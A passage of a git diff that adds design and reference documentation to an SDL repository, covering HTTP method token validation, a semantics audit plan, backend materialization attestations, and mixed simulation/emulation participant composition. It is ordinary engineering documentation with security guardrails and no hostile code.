its documentation publication close +separately. + +The issue owns integrated positive/negative regression evidence, lifecycle +side-effect assertions, the completed candidate/disposition reconciliation and +the practical review rule already housed in +`docs/explain/sdl/validation.md`. It must explicitly name the contrary tendency: +backend recipes/specimens becoming compulsory author detail, compulsory +extension catalogs, or unconditional evidence obligations. diff --git a/docs/explain/reference/issue-1298-http-method-identity-preflight.md b/docs/explain/reference/issue-1298-http-method-identity-preflight.md new file mode 100644 index 000000000..3828bdf30 --- /dev/null +++ b/docs/explain/reference/issue-1298-http-method-identity-preflight.md @@ -0,0 +1,112 @@ +# GOV-922 / issue 1298: Extensible HTTP method identity preflight + +Architecture preflight for 2026-09-18. This note narrows the implementation +boundary for issue #1298. It does not implement the change, define backend +WebDAV support, or create a new concept-authority surface. + +## Decision and ownership + +`RuntimeApplicationRoute.methods` is a collection of HTTP wire-method +identities. It is not a closed RAES enum, a governed `x-:` +vocabulary, an application capability list, an authorization grant, or an +executor operation selector. The owning contract remains ADR-026 and +`raes/runtime_application.py`; the published SDL schemas must express the same +shape for schema-only consumers. + +One field-owned parser must implement the RFC token grammar and the compatibility +rule. The portable grammar is the non-empty ASCII HTTP `token` character set, +bounded to 128 characters per method identity; whitespace, separators outside +that set, non-ASCII, control characters and overflow are invalid. Validation +must not trim input into validity. Whole-field `${variable}` references remain +an authoring-only alternative and are revalidated after substitution. Keep the +128-character bound at this field-owned grammar/schema seam so a future +evidence-backed widening changes one contract rather than scattered consumers. + +The compatibility rule is intentionally asymmetric: + +- any case spelling of the nine formerly admitted names (`GET`, `HEAD`, + `POST`, `PUT`, `DELETE`, `CONNECT`, `OPTIONS`, `TRACE`, `PATCH`) maps to the + existing uppercase identity; +- every other valid method token is retained exactly, including case; and +- duplicate method/path detection runs after that alias mapping. Thus `get` + collides with `GET`, while `PROPFIND` and `PropFind` remain distinct. + +Do not broaden the alias set when another method becomes common. A future +compatibility alias is an explicit migration decision, not registry growth. +List ordering remains the existing document ordering; do not introduce an +unrelated digest migration by sorting methods. + +## Canonical incumbents to reuse + +| Concern | Existing owner and required treatment | +| --- | --- | +| Model and field validation | `RuntimeApplicationRoute`, `coerce_string_list()`, `is_variable_ref()` and `SDLModel` (`extra="forbid"`). Keep the HTTP-token helper local to the HTTP application boundary unless another actual HTTP token field needs the identical contract; do not route this through `GovernedVocabulary`, `parse_runtime_enum_or_var()` or the concept catalog. | +| Route uniqueness | `RuntimeApplicationSurface.validate_surface()` owns route-id and method/path collisions. Compare the normalized method identity and exact path here; do not add a second collision index in parser, compiler or validator. | +| Source ingress | `_yaml_loader.py`, `_source_validation.py`, `_mapping_key_analyzer.py`, `_source_profile.py`, `parser.py` and `_model_diagnostics.py` already provide safe YAML, duplicate-key detection, source limits, structural construction and bounded source diagnostics. Validator messages must describe the rule without echoing the rejected token. | +| Variables and concrete admission | `instantiate.py::_substitute_value()`, `_BoundScenarioContent`, `InstantiatedScenario.model_validate()`, `admit_instantiated_scenario()` and `_safe_model_validation_errors()` already substitute then structurally and semantically revalidate. Do not special-case method variables in the substitution engine. | +| Module composition | `raes.composition` expands models through existing closed scenario models. Method values are not identifiers to namespace and must pass through unchanged before ordinary model revalidation. | +| Compilation and comparison | `realization_runtime_concern_profiles.py` and `realization_typed_runtime_projection.py` own the `runtime-applications` projection; `realization_recursive_constraints.py` and `raes_contracts.realization_structure` own recursive comparison. Preserve exact post-alias scalar identity; do not introduce a compiler-only method map or silently case-fold observed values. | +| Canonical snapshots | `canonical.py`, `InstantiatedScenarioSnapshot`, RFC 8785 serialization and `canonical_instantiated_sdl_digest()` own canonical bytes and snapshot admission. Round trips must preserve extension case. The compatibility alias happens before canonicalization, never during digesting or legacy snapshot migration. | +| Published schemas | The hand-governed files under `contracts/schemas/` are normative; `raes_contracts.contracts.bundle::schema_bundle()`, `tools/generate_contract_schemas.py` and `tools/check_generated_schemas.py` must produce identical output. Authoring schemas allow token-or-variable; instantiated, snapshot and materialized schemas allow only concrete tokens. Express non-empty collections, item grammar, the chosen length bound and uniqueness wherever JSON Schema can enforce them. | +| Schema publication | Every changed published schema needs its matching `contracts/schema-publication/entries/*.json` `last_change` summary and content hash, checked by `tools/check_schema_publication.py`. Do not hand-change a schema without its model/source parity and ledger entry. | +| Errors and diagnostics | Reuse `SDLParseError`, `SDLValidationError`, `SDLInstantiationError`, `_model_diagnostics.py`, `Diagnostic` and `portable_diagnostic_payload()`. No new exception hierarchy or HTTP-specific error envelope. Parser and instantiation errors must remain bounded and value-free because some control-plane conflict paths expose `str(ValueError)`. | +| Workflow | Reuse `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, `tools/verify_all.py` and the configured nox checks. This is GOV-922 work; Release Please owns `CHANGELOG.md` and the version. | + +## Cross-cutting security and runtime layers + +| Layer | Guardrail | +| --- | --- | +| YAML/JSON and config shape | Preserve UTF-8/input/depth/node/alias limits, safe YAML, duplicate key/member rejection, strict model keys and whole-field variable grammar. Direct Pydantic and schema-only ingress must enforce the same method item grammar; scalar-to-list compatibility may reuse `coerce_string_list()` but must not split, strip or uppercase extension tokens. | +| Authentication and authorization | Route inventory is descriptive input and creates no control-plane principal, entitlement, route access, selected operation or backend permission. Existing `ControlPlaneSecurityConfig`, API `_auth.py`, planner authorization and operation admission remain unchanged. | +| Sensitive values and environment | A method token is not a secret reference, environment binding, URI or command. Do not consult environment variables, files, registries or networks while parsing it. Invalid-token diagnostics and audit reasons must not reproduce attacker-controlled values. Existing route disclosure/exposed-field sensitivity and redaction rules remain intact. | +| OS/process exposure | Method acceptance must never construct argv, shell text, executable names, imports, paths or backend handler selection. Any later executor support must use its existing fixed invocation/config interface and explicit backend capability plus selected-operation admission; credentials stay out of argv, logs and errors. | +| Error envelopes and observability | Keep `_model_diagnostics.py` escaping/bounds, `_safe_model_validation_errors()` value-free projection, API redacted request errors, bounded audit queues and stable diagnostic envelopes. Log only stable reason/code and owned address, never the supplied method value or raw model payload. No new telemetry is required. | +| Persistence | No new store, migration table, cache or registry is warranted. Authored, instantiated and materialized documents plus canonical snapshots use their existing codecs. Historical uppercase built-ins retain meaning; do not rewrite stored digests or teach the legacy snapshot migrator a current-model normalization. | + +## Contract and compatibility guardrails + +- Use one grammar/normalization owner to drive Python and generated JSON Schema; + do not maintain independent regexes in tests, parser, compiler and schemas. +- Schema acceptance must agree with direct model construction, parsing, + instantiation and snapshot admission, including full-string anchoring and + trailing-newline/control rejection. +- Preserve `route_id`, URL-path validation, non-empty method lists, duplicate + route ids, duplicate post-alias method/path bindings, parameter/response + bounds, legacy-classification rejection, sensitivity controls, same-node + service validation and proxy-upstream agreement. +- Preserve the deliberately narrow `RuntimeApplicationRouteUpstreamScheme` + HTTP/HTTPS enum. It describes the proxy-to-origin scheme and is not evidence + that route methods are closed. +- Parser acceptance means only that an observed method can be represented and + compared. It proves neither observation, application support, authorization, + backend capability nor successful execution. +- Validate the two important negative spaces: invalid token characters must not + be repaired, and valid extension identities must not be squeezed through the + governed-vocabulary `x-:` grammar. + +## Required conformance boundaries + +The focused regression surface must exercise authoring parse/direct model, +variable substitution and post-substitution rejection, file-backed composition, +instantiated admission, runtime-applications projection/comparison, canonical +serialization and snapshot round trip, plus Python/schema agreement. It must +cover `PROPFIND`, two valid private identities differing only by case, legacy +built-in aliases, empty and duplicate lists, post-alias binding collisions, +whitespace/control/non-ASCII/separator failures, the length bound, and +value-free diagnostics. Existing proxy, path, route-id, service-reference, +disclosure/redaction and selected-operation tests are regression boundaries, +not behavior to replace. + +## Non-goals and anti-patterns + +- No HTTP-method controlled-vocabulary catalog or `Enum`. +- No `x-:` spelling for wire tokens and no generic extension bag. +- No WebDAV provisioning, request dispatch, scanner, route probing or automatic + observation. +- No claim that a backend can execute every admitted method. +- No redesign of application protocols, proxy upstreams, service bindings, + published ports, authorization, vulnerabilities or participant visibility. +- No new parser, schema registry, canonicalizer, comparison engine, exception + hierarchy, logger, API route, persistence layer or workflow. +- No silent rewrite of historical snapshots/digests and no sorting migration + hidden inside this identity correction. diff --git a/docs/explain/reference/issue-959-product-shaped-semantics-preflight.md b/docs/explain/reference/issue-959-product-shaped-semantics-preflight.md new file mode 100644 index 000000000..507ee162e --- /dev/null +++ b/docs/explain/reference/issue-959-product-shaped-semantics-preflight.md @@ -0,0 +1,161 @@ +# GOV-922 / issue 959: Product-shaped SDL semantics audit + +Architecture preflight, 2026-09-16; inspected revision `2ed2d97c`. +The supplied GOV-922 requirement and issue #959 define the scope. This note +records architecture boundaries for the audit. It is not an implementation +plan, a completed audit, a new normative contract, or permission to redesign +all candidate surfaces in one change. + +The controlling decisions already exist in +ADR-012, +[ADR-049](../../decisions/adrs/adr-049-platform-application-runtime-inventory.md), +the [controlled-vocabulary specification](../../../specs/concept-authority/controlled-vocabularies.md), +the [runtime-inventory specification](../../../specs/sdl/runtime-inventory.md), +and the language-extensibility [design intent](../../research/language-extensibility/design-intent.md). +This preflight does not create another authority surface. + +## Architecture decision + +Issue #959 is an evidence-backed semantic audit. Its canonical result belongs in +the existing [scope inventory](../../research/language-extensibility/scope-inventory.md). +Use `docs/research/language-extensibility/audit.py` to reproduce candidate +counts and behavioral probes, but never treat its output as a defect list. At +this revision the census finds 972 Python files, 278 SDL enum definitions and +144 SDL enums containing `other` or `unknown`; those numbers are search leads, +not 144 semantic defects or evidence of repository-wide coverage. + +Record one disposition for every selected surface and field. The record must +identify: + +- the family, field and motivating specimen; +- its ADR, lineage source, current schema/model, validation guard and consumers; +- its semantic owner: portable domain concept, optional authored/configured + state, capability or requirement, integration/binding, + policy/authorization/marking, product-native identity or extension, + realization choice, observation/evidence, or delivery machinery; +- whether it is sound, naming/documentation debt, a local semantic defect, or + an architectural redesign; +- retained false positives and deliberately product-specific extensions, with + rationale; +- the existing correction owner or a focused follow-up boundary, including + compatibility, migration, schema and test impact; and +- inherited delegation, exact-descendant, abstraction-completeness and + independently requested observation checks. + +No disposition is established merely because a token is finite, a field is +named `kind`, a schema has a discriminator, or a model contains an `attributes` +map. Conversely, a syntactically neutral term is not portable when its required +profile still encodes one product's optional deployment shape. + +## Existing owners to reuse + +| Concern | Canonical incumbent and boundary | +| --- | --- | +| Portable term authority | `contracts/concept-authority/controlled-vocabularies-v1.json`, `raes_contracts.controlled_vocabularies`, `runtime_vocabulary_scopes.py` and the catalog contract models. Do not add an audit-local catalog, regex or parser. | +| Runtime family identity | `raes/_runtime_service_family_registry.py`, `_runtime_service_families.py`, `runtime_inventory.py` and `raes_contracts.addressing`. Product/native identifiers remain data; they do not replace stable local collection identity. | +| Source and model validation | `raes/_yaml_loader.py`, `_source_validation.py`, `_source_profile.py`, `SDLModel`, `raes_contracts.json_ingress` and `ContractModel`. Direct model/JSON paths must retain the same bounded and extra-forbid posture as SDL parsing. | +| Cross-object semantics | The collect-all `raes.validator` pipeline, including declaration indexing, collision checks and family relationship validators. Do not create model-local duplicates of repository-wide reference checks. | +| Recursive realization meaning | Compiler `realization_recursive_constraints.py`, `raes_contracts.realization_structure` and semantic-comparison owners. Preserve missing versus empty, unresolved knowledge versus delegation, source origins and binding exact descendants. | +| Typed extension meaning | `raes_contracts.domain_profiles`, `_domain_profile_admission.py`, pinned profile coordinates, resolution context, support declaration and selected operation. A governed token remains inert identity unless this explicit seam supplies typed meaning. | +| Classification | Existing external concept bindings and #989. Do not turn the controlled-vocabulary catalog into a second classification system. | +| Observation and evidence | `observation_demand*`, compiler observation demands, capture admission and realization-observation contracts. Representation capability, requested collection, reporting, retention and export remain separate choices. | +| Published contract shape | Published schemas under `contracts/schemas` are the hand-governed normative authority per ADR-009 §7. Contract source models, `tools/generate_contract_schemas.py`, `raes_contracts.contracts.bundle` and schema-publication entries must maintain reference-generation parity and the publication ledger. A generator edit alone does not authorize a contract change. | +| Durable control-plane state | `ControlPlaneStore`, local codecs/migrations, revision/CAS, idempotency and append-only audit. A focused runtime correction must not add an audit database, profile sidecar or hidden cache. | +| Workflow governance | `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, `tools/verify_all.py` and concept-authority/schema-publication checks. Set `RAES_REQUIREMENT_UID=GOV-922` when the branch lacks the UID. Release Please owns changelog and version edits. | + +ADR-049 and issue #956 are a delivered corrective precedent: capability, +product/version identity, configured content, binding, policy and evidence have +separate owners. Do not reopen that correction. Issue #1206 owns governed +runtime identity conformance, #1207 owns compulsory profile-guard corrections, +#1205 owns acquisition versus final software state, #1208 owns adjacent typed +profile work, #1209 owns capture/report integration, and #1212 owns observation +demand. Issue #959 records cross-family dispositions and creates focused gaps; +it must not absorb those implementations. + +## Cross-cutting gates for any focused correction + +The audit document itself has no runtime ingress, authorization, persistence or +host-execution path. A later focused correction is incomplete unless it passes +every applicable row below. + +| Layer | Required treatment | +| --- | --- | +| YAML/JSON and config shape | Preserve UTF-8 and input/scalar/depth/node/alias limits, safe YAML, duplicate-key/member rejection, non-finite rejection, strict core keys, variable grammar and post-instantiation revalidation. Widen only the disposed field's owned identity grammar. | +| Domain-profile admission | Reuse pinned coordinates, namespace and digest checks, bounded offline resolution, acyclic local references, inert schema-keyword allowlists, support declaration and operation admission. No network retrieval, ambient filesystem/environment discovery, dynamic import or profile-selected handler. | +| Identity/reference validation | Preserve local/child uniqueness, qualified reference resolution, ordered-versus-keyed collection meaning and bounded semantic addresses. A provider identifier or vocabulary token is not a collection key or an authorization principal. | +| Secrets, environment and URIs | Reuse `runtime_values.enforce_observed_value_redaction`, `runtime_environment.py`, `runtime_generated_value.py`, `secret_references.py` and `uri_safety.py`. Preserve literal/source exclusivity, raw-value exclusion for protected values, generated-output ownership and inert credential-free URI validation. A private sensitivity token cannot bypass closed protection semantics. | +| Compilation and comparison | Preserve exact identity, alias rules owned by the vocabulary, variables, missing/empty/unknown distinctions, inherited open scope, exact descendants and source/default origin. Schema acceptance or a product name is not semantic support or realization authority. | +| Planner, backend and authorization | Reuse source-bound authority, backend-manifest support, target configuration, trusted profile context and selected-operation admission. Revalidate the whole core/profile conjunction before an effect; an open parent delegates only unmentioned choices. | +| API authentication and error envelopes | Reuse `ControlPlaneSecurityConfig`, API `_auth.py`, request guards, bounded audit queues, stable response envelopes, `raes._errors`, `Diagnostic` and `portable_diagnostic_payload()`. Some operation routes expose `str(ValueError)` in 409 responses: downstream validation messages must therefore be value-free. The catalog helper currently includes a rejected token in its direct error text; use the existing sanitizing runtime boundary rather than exposing that text. Bounding or schema-validating a diagnostic is not redaction. | +| Persistence and result publication | Validate the actual admitted completion before publication or storage. Reuse revisions, atomic terminal transitions, idempotency, reconciliation, sanitized snapshots and existing codecs/migrations. Preserve the trusted predecessor and exact coordinates on rejection or reload. | +| Observability and disclosure | Reuse operational audit/status and explicit observation-demand/capture admission. Do not log raw profiles, Pydantic inputs, protected native values or backend output. Precise authored state must not implicitly request collection, retention, export or experimental telemetry. | +| OS/host execution | Parsing, vocabulary lookup and profile resolution perform no subprocess, shell, host-environment lookup or file/network access. Drivers retain fixed argv, no shell, bounded timeout, private file modes/path checks and suppressed native stdout/stderr. Never put tokens, profile payloads, locators or secrets in process argv. | + +`docs/explain/sdl/validation.md` is currently stale: it still describes +`require_profile_for_data_model`, `require_profile_for_agent_kind` and +`require_profile_for_privilege_class` as active guards. Current family models, +`specs/sdl/runtime-inventory.md` and the issue #1207 clause mapping instead allow +partial descriptions and move actual prerequisites to selected-operation +admission. Treat the discrepancy as an audit finding to reconcile; do not use +the stale prose to restore product-shaped completeness guards. + +## Extension seam + +Choose the seam from the concept's owner, not from the motivating specimen: + +- Stable portable identity uses the existing owning catalog scope. Adding a + private product inside an established governed-extension scope requires no + core catalog edit or registration. +- Rich structure or operations use an explicit domain-profile coordinate and + `DomainProfileResolutionContextModel`, with the required semantic operation + admitted independently. This is the parameter for the next provider or + version; it is not a generic `extensions` bag. +- Externally governed classifications use concept bindings with source + coordinates, not privileged SDL enum values. +- A backend-owned choice omitted under inherited open scope needs no token, + replacement catalog or author-supplied profile. If selected, it must still + satisfy exact authored descendants and the admitted operation. + +Do not case-fold, slug or alias an external identifier unless its owning +contract explicitly authorizes that normalization. Native identifiers whose +case or punctuation is meaningful stay in typed native-identity fields. + +## Gotchas and prohibited patterns + +- Do not create a second census, runtime-family registry, controlled-vocabulary + catalog, schema authority, validation pipeline, exception hierarchy, + diagnostic envelope, persistence store or backend admission path. +- Do not globally loosen `Enum | str`, `parse_enum_or_var()` or shared core + normalization. Closed operations, grants, protection classes and structural + discriminators must remain closed. +- Do not treat `other`, `unknown`, omission and delegation as synonyms. Known + private identity stays exact; unknown records lack of knowledge; omission + inherits scope; delegation grants only a bounded materialization choice. +- Do not use a generic attribute map as portable semantics, executable profile + data, authorization, evidence or schema evolution. Legacy carriage does not + establish comparison support. +- Do not infer completeness, conformance, successful observation, namespace + ownership, protocol compatibility or execution authority from schema + validity, vocabulary membership, a definition digest or advertised support. +- Do not manufacture OS, package, filesystem, network or telemetry prerequisites + for a complete abstract model. Base validity is not a backend deployment + recipe or a stronger completeness claim. +- Do not make either a core catalog or a replacement private-extension catalog + compulsory for unmentioned backend choices. +- Do not rewrite accepted historical ADRs. Record current corrective guidance + under the ADR follow-up policy and update the current normative owner. + +## Non-goals and implementation boundary + +This audit does not replace domain standards with one universal application or +configuration bag, remove useful domain typing, prohibit bounded product-native +data, change all finite enumerations, or implement every confirmed defect. It +does not redesign #956, pre-implement the focused issue owners above, change +backend extraction, add telemetry, or claim that ordinary SDL validity proves +completeness or backend conformance. + +The implementation boundary for #959 is the documented method, selected-family +inventory, evidence-backed dispositions, retained false positives, focused gap +ownership and a recurrence-prevention rule or check. Each confirmed defect that +requires behavior or contract migration belongs in a focused follow-up with its +affected authorities, compatibility strategy, validation impact and tests. diff --git a/docs/explain/reference/materialization-attestations.md b/docs/explain/reference/materialization-attestations.md new file mode 100644 index 000000000..02e538e09 --- /dev/null +++ b/docs/explain/reference/materialization-attestations.md @@ -0,0 +1,65 @@ +# Backend materialization attestations + +A backend can return the actual world as SDL, including its in-world +instrumentation and rewrites. This is a producer assertion, not independent +evidence that the physical world matches the description. + +The contract is explicitly opt-in: add +`backend-materialization-attestation-v1` to the manifest only when the backend +can satisfy the [complete reporting contract](../../../specs/sdl/materialization-attestation.md). +The bundled stubs and emulation backend do not claim this support implicitly. +The configured realization envelope must identify the producer configuration. + +## Producer and runtime flow + +1. Compile the original SDL normally and plan with `PlanScope(run_id=...)`. + Negotiated plans retain `materialization_source`: the complete admitted + instantiated snapshot and original source identities. This field is part of + authenticated plan identity; do not reconstruct it from resource payloads. +2. After all materialization and setup hooks, construct a `MaterializedScenario` + using the ordinary SDL vocabulary. Include even no-additions results. Bind + provenance to the submitted plan, bound operation id, predecessor snapshot, + producer manifest/configuration and source. Record every node instance and + every added, changed or removed member. Qualified names remain qualified. +3. Return `ApplyResult(..., materialization_attestation=MaterializationSubmission(sdl=...))`. + `raes_processor.compiler.materialization_differences` provides value-free + native-identity differences against the original source; it does not grant + permission for those differences. Withheld values use existing native + redaction forms, not raw secrets or opaque snapshot commitments. +4. Configure the runtime's `materialization_archive` with + `RunMaterializationArchive(Path(...))` from `raes_operations.run_artifacts`. + Both `RuntimeManager` and `RuntimeControlPlane` accept this dependency. + Missing archive ownership fails before backend mutation. +5. The runtime runs original authority/preparation checks, admits the report, + publishes immutable protected bytes, verifies their record, and preserves + the typed reference in the ordinary snapshot/store codecs. Invalid reports + or failed publication return failure with valid cleanup state retained; + they do not undo physical changes. Durable operation idempotency returns the + saved terminal result after restart without replaying materialization. + +The output directory is an operator-selected archive root. SDL files are +restricted (`0600`) and published without following symlinks or replacing an +existing identity. An identical retry is safe; a conflicting retry fails. +File publication and operation-store commit are separate boundaries: a failed +reference commit may leave a protected orphan file, never a false accepted +reference to bytes that were not published. Recovery must not rerun the backend. + +## Consumers and run records + +`parse_sdl`/`parse_sdl_file` read the artifact; `render_sdl_source` formats it; +`canonical_materialized_sdl_digest` and `compare_canonical_artifacts` compare +its distinct phase identity. Shared compilation and planning work for inspection. +The resulting plans cannot be applied. Explicitly derive and validate a new +authoring document if an operator wants a new execution. + +Copy the accepted snapshot's `materialization_attestations` records to the +experiment run. Keep `scenario_snapshot_ref` pointing at the original input. +Augmentation disclosures can use the new reference as a portable carrier while +retaining required visibility classifications, markings, evidence references +and comparability/observer effects. A collector's presence does not prove it +captured evidence. Associated-artifact manifests accept the materialized parent +and validate caller-supplied byte streams without fetching URIs. + +The attestation is required operational provenance for the negotiated contract. +It does not request extra probes, override evidence prohibitions, or make the +full document available to participants. diff --git a/docs/explain/reference/mixed-participant-composition.md b/docs/explain/reference/mixed-participant-composition.md new file mode 100644 index 000000000..735d685cb --- /dev/null +++ b/docs/explain/reference/mixed-participant-composition.md @@ -0,0 +1,276 @@ +# Mixed participant composition: worked semantic cases + +The authority is +[`mixed-cross-backend-participant-control-v1@rev1`](../../../specs/formal/participant-semantics/cross-backend-participant-control.md) +(`sem-234/rev1`). The finite semantic witnesses from #1013 remain separate from +the portable contract published by #1014. Neither is a runnable backend +manifest or evidence that a conforming backend exists. Issue #1016 adds a +bounded reference coordinator over exactly admitted runtime targets; it does +not turn the semantic witnesses or portable profile into backend evidence. The semantic oracle is +[sem234_mixed_composition_model.py](../../../implementations/python/tests/sem234_mixed_composition_model.py), +with witnesses in +[test_sem_234_mixed_composition.py](../../../implementations/python/tests/test_sem_234_mixed_composition.py). + +## Published portable profile + +The normative wire carrier is +[`mixed-participant-composition-profile-v1`](../../../contracts/schemas/plans/mixed-participant-composition-profile-v1.json). +It seals one root containing component identities, compiled-target allocations, +directed edges, cross-clock bindings, mapping loss, evidence obligations, and a +finite phase schedule. Its RFC 8785 digest excludes only the digest field +itself. The profile has no trial or run identity, current phase, retry state, +backend command, HLA/FOM handle, credential, host path, or open metadata map. +Alternative realizations therefore use separate roots and digests; the admitted +trial-plan join owns their separate entry and run identities. + +Validation has three explicit stages: + +1. Bounded JSON ingress rejects oversized input, duplicate members, non-finite + numbers, excessive depth or node count, unknown revisions, and non-object + roots before model construction. +2. Closed model and root-local validation enforce keyed identity equality, + unique apparatus identities, complete references, one provider per target + and phase, directed active edges, complete finite phase ordering, mode rules, + and the canonical root digest. +3. Trusted contextual validation resolves the scenario snapshot, exact compiled + target kinds, manifest and realization-envelope digests, API-407 feature + strength per provider, API-423 subjects and policy cuts, time mappings, + independent authority/controller/routing/disclosure coordinates, evidence, + and bounded acyclic nested profiles. It performs no I/O, compilation, + provider selection, repair, dispatch, or mutation. + +The root model lives in +[`mixed_composition.py`](../../../implementations/python/packages/raes_contracts/contracts/mixed_composition.py), +with its decomposed local graph checks in +[`mixed_composition_validation.py`](../../../implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py); +trusted relationship joins live in +[`mixed_composition_resolution.py`](../../../implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py). +The generated schema must remain identical to `schema_bundle()`. Positive +and negative fixtures cover alternative, simultaneous-mixed, and staged roots. +Conformance classifies model success as `structural-context-required`: schema +presence or contextual validity does not establish runtime realization, +backend capability, interoperability, transfer, IFC/noninterference, +bisimulation, exactly-once effects, or equivalence. + +## Common interpretation + +The fixtures hold `scenario:one` and `policy:one` fixed. The trusted compiled +scope interpretation maps `participant.alice` and `action.alice.inspect` to +the same `act` effect, `nodes.target` to `target`, `observations.status` to +`observe`, and `crossings.status` to `cross`. These are illustrative symbolic +addresses, not new public syntax. Sharing an effect across two scope kinds +lets the oracle detect competing providers that a key-only check would miss. + +`apparatus:a` declares simulation and `apparatus:b` declares +emulation/operation. Their names carry no realization meaning. Each has its +own clock and an already-resolved effective-support interpretation. The edge +`a → b / crossings.status` binds eight typed identity/revision/digest pins: +adapter, authority, action/observation mapping, participant policy, release +basis, clock mapping, failure behavior and observer profile. It also binds +endpoint clocks and declared loss. Effective support and conformance facts +are trusted finite inputs; a nonempty reference in a real manifest is not proof. + +The common cut names Alice, one episode, the selected operator, active +authority, policy revision, capability revision, state revision and history +heads. SEM-230's existing projection model resolves the participant audience. +Provider membership does not create a controller or disclosure permission. + +## Reference runtime coordination + +`RuntimeControlPlane` accepts an immutable `MixedRuntimeBinding` only when its +plan entry, profile digest, trusted resolution context, component manifests, +realization envelopes, runtime targets, run scope, and transition evaluators +match exactly. Executable mixed edges additionally bind a pinned bridge, exact +source and destination action subjects, an installed time service, and +independent destination and audience readback. Activation commits the admitted +initial phase into typed +`mixed_composition_states` and append-only `mixed_composition_history` fields +in `runtime-snapshot-v1`. A second activation is either an exact idempotent +replay or a refusal; it cannot replace the incumbent composition. + +Participant action ingress still passes through the incumbent RUN-319/API-423 +crossing and final-sink policy decision. Under the same mutation cut, the +coordinator resolves one active participant allocation, action allocation, +authenticated controller and action authority. If the providers differ, it +also requires an executable binding for the admitted directed edge. That +edge's subject, audience, policy cut, controller, disclosure authority, and +permitted final-sink decision must match the live crossing before any bridge +call. The binding preserves the governed compiled action address through the destination +provider's admitted action allocation, verifies the two declared clocks and +mapping against typed runtime readback, obtains a correlated order grant, and +invokes the selected provider once through the bridge. The coordinator +atomically commits `decision` and `attempt` before invocation. It appends a +backend result from correlated execution evidence. It appends `delivery` only +after destination receipt readback and `observation` only after participant and +audience readback. An explicit weakening fact carries the declared mapping +loss when the bridge reports it. A success boolean, mapping reference, or +timestamp cannot create a later stage. A missing or stale binding, incompatible +time readback, ambiguous mapping, unauthorized subject change, or failed +pre-effect commit invokes no component. Partial execution, unknown effects, +and unproved required delivery use the shared `INDETERMINATE` operation state +until explicit reconciliation; replay never repeats the bridge call. +Order checks include the microstep when mapped ticks are equal. A provider +result rejected by the incumbent backend gate cannot publish successful +execution, delivery, observation, or loss facts; a later readback failure +retains only the stages already confirmed under the same operation. + +Participant episode initialize, reset, restart, and terminate calls resolve the +active participant allocation and authenticated controller in the same way. +They commit lifecycle decision and attempt facts before invoking the component, +then append a lifecycle result and, on refusal, a failure fact. The logical +coordinator is never used as an unadmitted lifecycle fallback. + +Staged progression invokes only the evaluator bound to the admitted +`evaluator_ref`, enforces its finite `progress_bound` and required evidence, +and requires an executable native handoff when the active component set +changes. That handoff obtains an admitted time grant and typed clock readback, +invokes the pinned transfer service, then reads back the native owner and time +state. Only a committed transfer with exact destination-owner readback commits +the next phase and `handoff` fact. Failed or stale transfer retains the old +phase; pending or unknown transfer is `INDETERMINATE` and blocks dependent +work. The store serializes run-scoped phase claims with mixed actions before +external calls, while snapshot history-head and revision CAS protect the +terminal commit. Restart recovery derives the exact component from the durable +pre-effect attempt and never falls back to the logical target. An interrupted +mixed edge cannot be promoted from a provider-only recovery observation: its +bridge, time, delivery, and audience stages remain unproved. An interrupted +native handoff likewise retains the old phase with an `INDETERMINATE` operation +until its owner and time cut are reconciled. A partial crossing history stays +quarantined during restart and cannot be administratively accepted as a valid +current snapshot. Generic current-snapshot acceptance cannot clear an interrupted +mixed edge or native handoff; their external stages require specific reconciliation. +Startup validates other crossing histories and the retained prefix before an +interrupted crossing. Time and bridge callbacks receive isolated snapshot or +time inputs, and a changed bridge snapshot is refused before the provider call. + +This is a single-control-plane reference realization. It does not claim +backend-native federation, multi-controller consensus, leases, HLA ownership +transfer, joint/fused action semantics, IFC/noninterference, equivalence, +exactly-once external effects, or conformance of any production backend. + +The executable examples in +[`test_issue_1355_mixed_mapping_time.py`](../../../implementations/python/tests/test_issue_1355_mixed_mapping_time.py) +drive the control plane with an installed bridge and time service. They cover +an evidenced mixed exchange, separated delivery and observation, missing +bindings, stale clock readback, unauthorized mapping changes, partial/unknown +outcomes and replay, and committed/failed/stale/pending staged handoffs. Run +the focused examples with `uv run --project implementations/python --frozen +pytest implementations/python/tests/test_issue_1355_mixed_mapping_time.py -q` +from the repository root. The stub receipts and native owner are test services; +they are not conformance evidence for a deployed apparatus. Linked inter-trial +identity remains covered by the admitted-trial tests and never becomes a +within-run fallback. + +## Four worked realizations + +| Case | Allocation and transition | Expected meaning and evidence boundary | +| --- | --- | --- | +| Alternative | One admitted plan assigns all required effects to `a`; another assigns them to `b`. Both hold scenario/policy fixed and have different entry/run identities. | Both satisfy the bounded allocation relation independently. Neither is runtime fallback for the other; no equivalence is inferred. | +| Simultaneous mixed | `a` realizes Alice's action; `b` realizes target state, status observation and the crossing. The directed `a → b` edge resolves its policy/release/time bindings. | One trial has simultaneous distinct forms. The oracle permits the symbolic exchange only after exact-cut admission and projection. | +| Linked inter-trial | The source uses `entry:one/run:one`; the target uses `entry:two/run:two`, with the same scenario/policy and explicit source tuple. | The link records separate trials. A changed scenario/policy cannot masquerade as an alternative of the same input. An emulation-derived simulator additionally needs MCB-029 dataset/model provenance; the link alone does not supply it. | +| Pre-admitted phase | Phase 0 uses `a` and `b`. Phase 1 allocates all four effects to `a`, with `b` inactive. The sealed `trigger:advance` rule commits only after outstanding work is empty. | The provider changes without changing plan, entry, run, controller or prior knowledge. Deactivation is not cleanup. A pinned inactive `b` cannot execute or receive an exchange in phase 1. | + +The phase test first delivers `status`, then advances. The returned state +retains that knowledge and the complete history prefix. A reused old cut is +stale. Pending delivery blocks progression; failed storage leaves the entire +state unchanged. The oracle's trigger input represents a trusted admitted +evaluator outcome. It does not implement trigger authentication or evaluation. + +## Progressive specification and independent data demand + +The #1198 correction and accepted ADR-105 apply to composition: + +- A selected abstract action model is complete at that abstraction. A suitable + realization need not construct OS, package, filesystem or packet details. +- An inherited open scope permits an internal private materialization choice + while an exact `inspect` action constraint remains binding. A candidate + changing that action to `attack` is rejected. The private mechanism is not + an authored catalog entry or a new participant allocation unit. +- The existing finite description relation chooses one supported permitted + witness. That does not establish universal coverage of every permitted + completion. Composition adds the joint edge/authority constraints; separate + per-component witnesses are insufficient when they are mutually inconsistent. +- Choice reports use the requested projection and honestly say + `backend-selected`. They 